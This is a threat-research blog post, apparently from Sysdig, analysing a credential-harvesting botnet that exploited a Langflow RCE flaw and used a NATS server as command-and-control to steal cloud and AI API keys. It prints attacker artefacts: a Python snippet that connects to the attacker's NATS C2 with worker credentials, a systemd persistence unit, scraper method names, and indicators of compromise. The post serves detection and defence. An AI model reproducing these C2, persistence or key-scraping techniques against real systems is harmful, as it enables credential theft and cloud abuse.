惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

小众软件
小众软件
量子位
博客园 - 叶小钗
Apple Machine Learning Research
Apple Machine Learning Research
U
Unit 42
IT之家
IT之家
F
Fortinet All Blogs
GbyAI
GbyAI
MongoDB | Blog
MongoDB | Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
大猫的无限游戏
大猫的无限游戏
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
The Register - Security
The Register - Security
NISL@THU
NISL@THU
Webroot Blog
Webroot Blog
A
Arctic Wolf
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
V
Visual Studio Blog
Recent Announcements
Recent Announcements
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Blog — PlanetScale
Blog — PlanetScale
L
LangChain Blog
P
Palo Alto Networks Blog
Y
Y Combinator Blog
WordPress大学
WordPress大学
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
AWS News Blog
AWS News Blog
有赞技术团队
有赞技术团队
Engineering at Meta
Engineering at Meta
C
Cybersecurity and Infrastructure Security Agency CISA
aimingoo的专栏
aimingoo的专栏
Know Your Adversary
Know Your Adversary
Cyberwarzone
Cyberwarzone
Martin Fowler
Martin Fowler
The Hacker News
The Hacker News
P
Privacy International News Feed
T
Threat Research - Cisco Blogs
G
GRAHAM CLULEY
宝玉的分享
宝玉的分享
博客园 - 聂微东
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
The GitHub Blog
The GitHub Blog
S
Securelist
T
The Exploit Database - CXSecurity.com
T
Threatpost
Microsoft Azure Blog
Microsoft Azure Blog
The Cloudflare Blog
F
Full Disclosure

Sysdig Blog

Masterclass: AI is more than ChatGPT and LLMs CVE-2026-39987 update: How attackers weaponized marimo to deploy a blockchain botnet via HuggingFace 5 steps to securing AI workloads Marimo OSS Python Notebook RCE: From Disclosure to Exploitation in Under 10 Hours Security briefing: March 2026 The Sysdig MCP server is now available in AWS Marketplace Risk isn’t reduced until you take action: How teams resolve issues in the cloud AI infrastructure security: Why it deserves its own category Three pillars for building effective runtime-powered cloud defense, the right way Closing the cloud security gap with runtime security Seeing risk isn’t stopping it: Why visibility alone isn’t enough TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions AI coding agents are running on your machines — Do you know what they're doing? Runtime security for AI coding agents: Protecting AI-assisted development How runtime insights power every cloud security use case CVE-2026-33017: How attackers compromised Langflow AI pipelines in 20 hours Inline Cloud Response: Accelerating AWS threat containment for SOC teams Runtime malware detection for AWS Fargate Detecting CVE-2026-3288 & CVE-2026-24512: Ingress-nginx configuration injection vulnerabilities for Kubernetes Malware detection with Sysdig Security briefing: February 2026 Leveling up Kubernetes Posture: From baselines to risk-aware admission Eliminating runtime blind spots: How CleanStart and Sysdig build continuous trust across the container lifecycle LLMjacking: From Emerging Threat to Black Market Reality Real risks live at runtime: Why CISOs must care about deep telemetry in 2026 Sysdig named a Leader in the Forrester Wave™: Cloud Native Application Protection Solutions, Q1 2026 How to run rootless containers AI-assisted cloud intrusion achieves admin access in 8 minutes Security briefing: January 2026 Securing GPU-accelerated AI workloads in Oracle Kubernetes Engine Bringing OSS runtime security to AWS: Falco integration with AWS Security Hub CSPM Our customers have spoken: Sysdig rated a Strong Performer in Gartner® Voice of the Customer for Cloud-Native Application Protection Platforms Protecting sensitive business data in preparation for the organization's Gen AI VoidLink threat analysis: Sysdig discovers C2-compiled kernel rootkits AI is still a workload: A practical guide to securing AI workloads How threat actors are using self-hosted GitHub Actions runners as backdoors How Sysdig Sage delivers AI-powered, real-world vulnerability management Security briefing: December 2025 Top 10 ways to get breached in 2026 EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2 Introducing runtime file integrity monitoring and response with Sysdig FIM How to detect multi-stage attacks with runtime behavioral analytics EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks Detecting React2Shell: The maximum-severity RCE vulnerability affecting React Server Components and Next.js The rise of AI agents: How autonomous AI Is transforming cloud security Kubernetes 1.35 - New security features The Urgency of Securing AI Workloads for CISOs Security briefing: November 2025 Quantum and the cloud: Science fiction turned security strategy Cloud security, the right way: What the industry should demand (and why "good enough" isn't) Return of the Shai-Hulud worm affects over 25,000 GitHub repositories Detecting CVE-2024-1086: The decade-old Linux kernel vulnerability that’s being actively exploited in ransomware campaigns What’s old is new again: How to demystify AI security with AIBOMs Securing Kubernetes with agentic cloud security How agentic cloud security reduces real risks Hunting reverse shells: How the Sysdig Threat Research Team builds smarter detection rules Shifting left with AI and MCP: Sysdig + Amazon Q Developer How Falco and Stratoshark close the gap between open source runtime detection and deep forensic analysis Investigating security issues with ChatGPT and the GitHub MCP server New runc vulnerabilities allow container escape: CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 Harden your LLM security with OWASP Security briefing: October 2025 How agentic AI is changing cloud security Kubernetes Incident Response: Detect, investigate, and contain in under 10 minutes Sysdig recognized as a Cloud Security Leader in Latio Tech Cloud Security Market Report AI echolocation of cloud risks using Sysdig & Snyk MCP servers Sysdig MCP Server: Bridging AI and cloud security insights Understanding CVE-2025-49844: “RediShell” Critical Remote Code Execution in Redis How Sysdig secures your containers and Kubernetes Sysdig Security Briefing: September 2025 Cloud security, the right way: The 3 pillars of real-time defense Open source spotlight: Bringing web application security to Falco with Falcoya's Nginx plugin Malicious NPM packages: Are you exposed? AI for SOC teams: 5 cloud security prompts to start your day with Sysdig Sage™ Shai-Hulud: The novel self-replicating worm infecting hundreds of NPM packages ZynorRAT technical analysis: Reverse engineering a novel, Turkish Go-based RAT Modern vulnerability management, built for the cloud Build your AWS incident response playbook with open source tools 2025 Gartner® CNAPP Market Guide: Runtime visibility is no longer optional Threat hunting with Sysdig: Uncovering “IngressNightmare” Open source spotlight: From alerts to action with AI-powered Falco Vanguard From triage to action: How Sysdig’s agentic cloud security platform slashes noise and accelerates remediation The vision comes to life: Agentic cloud security with Sysdig Sage™ Data security findings: A technical deep dive Connecting runtime to source: Sysdig and Semgrep integration Fix what matters, faster: How Sysdig and Semgrep are unifying security without silos – from code to runtime Defending sensitive data with Sysdig Secure Redefining cloud security, the right way Join the movement: The Sysdig Open Source Community is live A smarter, safer cloud in the age of AI Unifying detection and response: Sysdig + Cortex XSOAR for security at cloud speed The future of security is open, and it needs a unified hub: The Sysdig Open Source Community is here CVE-2025-53104: Command injection via GitHub Actions workflow in gluestack-ui Why MCP server security is critical for AI-driven enterprises What’s new in Sysdig — June 2025 AI-powered CNAPP with Sysdig Sage™ Revolutionizing Cybersecurity Search with Sysdig Sage™ Sysdig Threat Bulletin: Iranian Cyber Threats The end of the prioritization-only era: Vulnerability management needs action Dangerous by default: Insecure GitHub Actions found in MITRE, Splunk, and other open source repositories
NATS-as-C2: Inside a new technique attackers are using to harvest cloud credentials and AI API keys
Michael Clark · 2026-05-14 · via Sysdig Blog

On May 5, 2026, the Sysdig Threat Research Team (TRT) identified a novel command-and-control (C2) technique in which a threat actor used a NATS server as C2 infrastructure. The Sysdig TRT has dubbed this technique “NATS-as-C2.” Rather than relying on traditional HTTP-based panels or chat platforms, the attacker leveraged infrastructure more commonly associated with modern distributed systems. 

The Sysdig TRT traced the activity to an extended exploitation attempt involving CVE-2026-33017, an unauthenticated remote code execution (RCE) vulnerability in Langflow that was added to the CISA KEV catalog on March 25, 2026. Over roughly 30 minutes of hands-on activity, the operator at 159.89.205.184 (DigitalOcean) downloaded a Python worker and a Go binary. During this time, the Sysdig TRT captured the threat actor’s payload, exposing their coordination plane: a NATS server at 45.192.109.25:14222 running an authenticated, ACL-enforced instance. The attacker subsequently attempted to escape the container using DirtyPipe and DirtyCreds exploits.

Threat actors have increasingly adopted legitimate platforms and services as covert communication channels, including Discord, Telegram, GitHub, cloud storage, and AI assistants. And the more sophisticated credential-stuffing operations published this year, including the exposed Hetzner cluster leaked on April 10, used Flask plus Socket.IO over REST. The use of a native pub/sub message broker with subject-level authorization is a notable evolution beyond either pattern. 

Put simply, the Sysdig TRT observed an attacker exploiting a vulnerability, installing malware, and moving laterally to establish deeper system control. What stands out is the attacker’s novel use of NATS, a messaging server normally meant for fast application communication, as their hidden C2 system. This operation gave the threat actor a more advanced, organized means through which to manage infected machines. 

The NATS-as-C2 tool chain

The operator named the project KeyHunter, likely after the original tool designed to discover API key leaks. The initial worker download confirmed the C2 endpoint and message bus identity:

=== KeyHunter Python Worker ===
Worker ID: py-XXXXXX
NATS: nats://45.192.109.25:14222
Capabilities: ['scan_cde', 'scan_web', 'validate_aws', 'validate_ai']
[REGEX] Loaded 12 patterns

The four declared capabilities are also the worker's NATS subscribe subjects — task.scan_cde, task.scan_web, task.validate_aws, and task.validate_ai — all of which were captured from the Python source. Each is a discrete monetization path:

  • scan_cde targets Cloud Development Environment platforms (CodePen, JSFiddle, StackBlitz, CodeSandbox), with a GenericClient fallback for any URL the queue dispatches. This is shared-snippet credential harvesting, which is uncommon.
  • scan_web scrapes an arbitrary URL.
  • validate_aws confirms harvested AWS access keys are live by calling sts:GetCallerIdentity via boto3 and recording the returned Account, Arn, and UserId for the operator.
  • validate_ai validates harvested LLM provider keys directly against vendor APIs. The open-source fadidevv/keyhunter project covers a similar provider set, and the operator may have copied the brand.

A single worker is positioned to harvest both cloud credentials and AI API keys from the same scan output, and to confirm whether each is live before reporting back. This creates two independent revenue streams from one captured-key pipeline.

Using an access control list-enforced server-side

According to logs, the NATS worker started failing immediately on its first publish:

nats: encountered error
nats.errors.Error: nats: permissions violation for publish to "heartbeat.worker"

The operator responded by writing an ad-hoc enumeration script directly into the exploit channel. The captured prefix is below:

import asyncio, nats, json

async def test():
    nc = await nats.connect("nats://45.192.109.25:14222",
                            user="worker",
                            password="Wkr-XXXX",
                            name="test-perm")
    results = []
    for s in [...]:    # candidate subject list, body of script truncated in capture

The output produced by the full script, listing the subjects the worker role was authorized to publish to under name="test-perm":

heartbeat.worker     = OK
worker.hb            = OK
worker.heartbeat     = OK
result.scan          = OK
scan.result          = OK
result               = OK
worker.result        = OK
kh.result            = OK
keyhunter.result     = OK
workers.heartbeat    = OK

A correctly configured NATS server applies subject-level authorization at the wire layer. The worker role can publish results and heartbeats but cannot publish to control subjects, subscribe to other workers, or read the operator's command stream. A captured node cannot pivot into the bus. This is the principle of least privilege applied to a botnet, and it is the principal reason NATS-as-C2 is architecturally interesting.

The operator's rewrites (hb.worker instead of heartbeat.worker, then worker.hb) were live debugging against an Access Control List (ACL) they did not, in fact, control. The Go binary failed independently, leaking a Windows build path in its panic output:

fatal error: failed to reserve page summary memory

runtime stack:
runtime.throw({0x92e78b?, 0x20000000?})
        D:/Program Files/Go/src/runtime/panic.go:1094 +0x48

The operator made one final attempt to constrain the Go runtime with GOMEMLIMIT=400MiB, but Go's mheap allocates the page summary before honoring GOMEMLIMIT, so the binary panicked at the same spot. After that attempt, the session ended. The Python worker remained the operational path, and the Go binary was abandoned in this environment.

What the operator was actually doing

The deploy attempt analyzed above was the second half of a longer session. Over the preceding 10 hours, the same operator IP ran a complete credential-harvest-and-replay cycle, and the deploy attempt was intended to add a stable node to their pool after extracting as much as they could from the immediate target.

Timeline

Time (UTC)

Activity

04:13

First probes against an LMDeploy (LLM inference service) instance: Swagger root, /v1/models enumeration, SSRF against the multimodal endpoint 

04:00 – 09:00203 

SSRF exploit events against LMDeploy, plus master-key and admin-surface probing on a LiteLLM instance

09:09

First probe against the Langflow target 

9:12

Successful unauthenticated RCE via CVE-2026-33017 /api/v1/build_public_tmp//flow. Attacker payload dumped the process environment, extracting AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY

09:21

First AWS API call with the harvested credentials: sts:GetCallerIdentity, accepted 

09:21 – 13:39

AWS API calls across bedrock, sts, s3, ec2, ce, lambda, logs, ecs, sagemaker, sso, iam

14:03

Return to the Langflow target with the worker-deploy attempt detailed in the previous section

The AWS reconnaissance pattern consisted of:

  • Bedrock:InvokeModel attempts. The operator was specifically trying to use the harvested key against AWS Bedrock foundation models to conduct LLMjacking. This is the same monetization pathway as the worker's validate_ai capability, just applied to AWS-native LLM inference rather than OpenAI or Anthropic SaaS keys. Stolen Bedrock access converts directly to compute that the operator does not pay for, and the cost-per-token on premium foundation models (Claude, Llama 3) is significant enough at scale to be worth the burn rate of testing thousands of harvested AWS keys.
  • Bedrock:ListInferenceProfiles and Bedrock:ListModelInvocationJobs, control-plane discovery probing, which model regions and inference endpoints the IAM role had access to.
  • sts:GetCallerIdentity calls. Confirms the key was live and identifies its IAM principal. The worker's validate_aws capability does exactly this.
  • S3:ListBuckets, ec2:DescribeInstances, ce:GetCostAndUsage, lambda:ListFunctions, logs:DescribeLogGroups, ecs:ListClusters, sagemaker:ListEndpoints, sso:ListInstances, iam:ListAttachedUserPolicies calls. This is a standard scoped-key reconnaissance sweep, enumerating every common AWS service surface in a few seconds.

The pattern above is exactly what an automated validate_aws worker does at scale: confirm liveness, enumerate the IAM principal's reach, then route the key to the highest-value service it has access to.

Static triage of the worker binary

The operator's staging server was still serving four files from 159.89.205.184:8888 after the session ended: worker-linux-amd64 (9.4 MB Go binary), keyhunter_worker.py (Python fallback), deploy.sh (production installer), and worker.yaml (config). 

The Go binary is statically linked, stripped, CGO-disabled, and includes a module path to github.com/keyhunter/worker (devel). It also has source paths in the symbol table which leak the operator's Windows project layout: 

  • D:/Program Files/Go/... for module cache.
  • /AyuGram Desktop/KeyHunter-Distributed/worker/... for the working tree. (AyuGram Desktop is a custom Telegram desktop client.) 

Decompiling the package layout reveals rich tool information, including that it targets online code-sandbox platforms, not GitHub. The worker ships dedicated scrapers for four platforms, each with multiple fallback extraction strategies:

Platform

Extraction methods 

CodePen

extractViaInitData, extractViaNextData, extractViaPenVar, extractViaTextarea

JSFiddle

extractViaEditorConfig, extractViaPanel, extractViaTextarea

StackBlitz

downloadViaAPI, downloadViaPage

CodeSandbox

downloadDirect, downloadViaSidecar

GitHub is the obvious target for these credential hunters and the focus of every published OSS tool in this space. Online code sandboxes are a quieter and arguably richer corpus: Developers paste API keys to test snippets, share the snippet for help, and never delete them. The number of per-platform fallbacks is an engineering effort. Each platform has been reverse-engineered for at least two different extraction paths, so a frontend change does not break the worker.

uTLS browser-fingerprint mimicry

The binary imports github.com/refraction-networking/utls v1.8.2. uTLS exposes parroted ClientHello fingerprints for browsers like Chrome, Firefox, Safari, iOS, and Android, defeating server-side TLS fingerprinting (JA3, JA4) used by Cloudflare, Akamai, and the bot-detection layers in front of CodeSandbox and StackBlitz. Combined with the multi-strategy extraction logic, this is a credential scraper engineered to evade the bot defenses of the platforms it targets.

Headless-browser sidecar

The Go package contains a SidecarProcess to scrape rendered webpages. CodeSandbox uses downloadViaSidecar as a fallback when the direct API path fails. The most likely purpose is a child subprocess (typically a headless browser) that renders JavaScript-heavy pages, with the buffered connection proxying HTTP between the subprocess and the worker. A pure HTTP scraper does not need this code path.

JetStream pull consumers

The NATS client uses PullSubscribe with AckExplicit, which is the JetStream durable-consumer pattern. Tasks are queued centrally, workers pull and explicitly ack, and a dropped worker returns its in-flight tasks to the queue for redelivery. This matches the architectural argument earlier in this writeup: NATS-as-C2 gives operators durability and at-least-once delivery without bespoke client code. The WorkerStats struct exposes IncrActive, DecrActive, SetTaskProgress, and Snapshot, indicating per-task progress reporting back to the operator console.

Key detection engine

One credential capture is Python-based and embeds a 12-pattern regex set covering AWS, GitHub, OpenAI, Anthropic, Google, Slack, Stripe, private keys, JWTs, and DB URLs (full list in the appendix). It also attempts to invoke gitleaks v8.24.3, if the binary is on disk, for more comprehensive coverage and to catch credentials that may have been missed (similar to a birdbath).  

The Go binary integrates gitleaks correctly, using visible string constants for parse error messages and report path templates, so production-host workers retain the full ~150-rule gitleaks coverage.

Persistence

deploy.sh is used as an install script. It assumes root, runs apt-get / yum / apk to install dependencies, fetches gitleaks from GitHub releases, installs to /opt/keyhunter-worker/, and writes a keyhunter-worker.service systemd unit. The systemd unit installed by deploy.sh reads:

[Service]
Type=simple
WorkingDirectory=/opt/keyhunter-worker
ExecStart=/opt/keyhunter-worker/keyhunter-worker
Restart=always
RestartSec=5
LimitNOFILE=65535

Restart=always plus WantedBy=multi-user.target means worker nodes survive reboots, kernel upgrades, and crashes; they are long-lived infrastructure rather than single-use stagers. LimitNOFILE=65535 raises the per-process file-descriptor cap to 65k, sized for many concurrent outbound connections. (The Go binary's per-worker concurrency is 10 in worker.yaml, but each scrape can open multiple sockets, including the headless-browser sidecar.)

OPSEC

Equally telling is what the script does not do. There is no unset HISTFILE, no journald disable, no /tmp scrub, no in-memory-only install path, no log rotation that drops audit traces, and no attempt to hide the systemd unit under a less obvious name. Worker hosts are not forensically hardened. 

The reasonable inference is that they are virtual private server (VPS) instances that the operator either rents under disposable identities or treats as fully expendable; the cost of forensic uplift is lower than the cost of building hardened tradecraft, so this threat actor skipped the hardening entirely. This pattern is consistent with small operations that scale by adding cheap nodes rather than by raising the per-node bar.

The deploy script also branches on x86_64 and aarch64, implying both architectures are part of the worker pool. ARM nodes are cheaper at scale and dominant in newer Graviton-class cloud instances, so the operator is presumably distributed across cloud providers and instance types to keep per-AKIA-validated cost low.

Indicators of compromise

Indicator

Type

45.192.109.25:14222

NATS C2

159.89.205.184:8888

Staging HTTP

File hashes

File

SHA-256

Size 

worker-linux-amd64

dbee863ad2a39f939be2c7ed76f7d5a8fe000aad2d2b2d32b3e8ec3ee42f1c25

9,453,752

keyhunter_worker.py

323bbf3064d4b83df7920d752636b1acb36f462e58609a815bd8084d1e6b004c

10,979

deploy.sh

16b279aa018c64294d58280636e538f86e3dd9bdcb5734c203373394b72d101a

1,424

Why this matters

NATS servers provide three properties that scanner-pool operators historically had to engineer themselves:

  • Wire-level authorization: Per-subject ACLs are enforced by the broker, not by client-side checks that a captured node can disable.
  • One-to-many fan-out: A single publish to result.scan reaches every aggregator without the worker enumerating peers, which improves OPSEC and simplifies horizontal scaling.
  • First-class auth and durability: Username/password, TLS, and nkey auth are native, and JetStream provides durable queues so a worker can drop offline without losing its work.

The technical bar to operate NATS-as-C2 infrastructure is meaningfully higher than running a Flask panel. The operator at 159.89.205.184 is closer to running a small SaaS than the script kits that are often seen in credential harvesting botnets.

Enumerated NATS publish subjects under the worker ACL: heartbeat.worker, worker.hb, worker.heartbeat, result.scan, scan.result, result, worker.result, kh.result, keyhunter.result, workers.heartbeat.

Detection

Sysdig Secure and OSS Falco rules can be used to detect NATS-as-C2 malware. As previously mentioned, this malware doesn’t take any additional steps when it comes to defense evasion. However, it uses typical mechanisms seen in networks, which can help it hide in place.

Rules that NATS-as-C2 will trigger include:

  • Suspicious System Service Modification
  • Outbound Connection to C2 Servers
  • Sysdig AWS Runtime Analytics 

Recommendations

  • Update Langflow to a version that patches CVE-2026-33017. The vulnerable endpoint is unauthenticated, which makes mass scanning trivial.
  • Block outbound traffic to 45.192.109.25:14222 and 159.89.205.184:8888 at the network perimeter.
  • Egress allowlist workloads running AI tooling. Langflow, n8n, and similar visual-flow platforms typically need outbound access only to specific LLM and database endpoints; broad outbound is unnecessary and provides exactly the channel a deployed worker needs to reach a NATS broker.
  • Rotate any AWS, OpenAI, Anthropic, or HuggingFace credentials that were reachable from a Langflow instance exposed prior to patching. The captured worker validates these in real time.

Conclusion

The KeyHunter operator that the Sysdig TRT discovered is using NATS for the same reasons engineering teams adopt it: subject-scoped authorization, native fan-out, and durable queues. None of those properties alone are unique to legitimate workloads, and applying them to a credential-hunting worker pool produces a botnet that is more liable and scalable than the typical HTTP-panel architecture. 

The literal error strings the operator leaked through their RCE channel are a useful detection seed, but the broader takeaway is that NATS-as-C2 is a new, novel pattern that defenders should expect to see more of. As a result, outbound-egress posture matters more than ever before.